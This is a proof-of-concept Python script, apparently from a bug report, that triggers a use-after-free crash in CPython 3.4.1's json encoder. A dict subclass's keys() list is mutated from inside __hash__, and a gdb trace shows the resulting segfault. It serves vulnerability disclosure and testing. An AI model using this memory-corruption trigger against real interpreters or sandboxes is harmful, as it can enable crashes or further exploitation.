# Breakpoint 1, encoder_listencode_dict (s=0x405b23fc, acc=0xbfaf96ec, dct=, indent_level=0) # at /home/p/Python-3.4.1/Modules/_json.c:1540 # 1540 items = PyMapping_Keys(dct); # (gdb) print *items # $1 = {_ob_next = 0x4059029c, _ob_prev = 0x405c8ab4, ob_refcnt = 1, ob_type = 0x830f1a0 } # (gdb) n # 1541 if (items == NULL) # (gdb) n # 1543 if (!PyList_Check(items)) { # (gdb) n # 1547 if (PyList_Sort(items) < 0) # (gdb) n # 1549 nitems = PyList_GET_SIZE(items); # (gdb) n # 1550 for (i = 0; i < nitems; i++) { # (gdb) n # 1552 key = PyList_GET_ITEM(items, i); # (gdb) n # 1553 value = PyDict_GetItem(dct, key); # (gdb) n # 1554 item = PyTuple_Pack(2, key, value); # (gdb) print *key # $2 = {_ob_next = 0xdbdbdbdb, _ob_prev = 0xdbdbdbdb, ob_refcnt = -606348325, ob_type = 0xdbdbdbdb} # (gdb) n # # Program received signal SIGSEGV, Segmentation fault. # 0x08104047 in PyTuple_Pack (n=2) at Objects/tupleobject.c:216 # 216 Py_INCREF(o); # # We circumvent use after free bug in PyType_IsSubtype (poc_enc_dict1.py) by # returning -1 from the __hash__() method. This way PyDict_GetItem bails # quickly, without triggering the problematic code. # PyTuple_Pack handles a stale "key" pointer and crashes. Use after free. import json as j class D(dict): def keys(self): global L return L class X: def __del__(self): print("__del__ X") def __hash__(self): global L print("__hash__ X") del L[0] return -1 def __lt__(self, o): return 0 L = [X() for i in range(1122)] d = D() d[1337]="true.dat" s = j.dumps(d, sort_keys=True) print(s)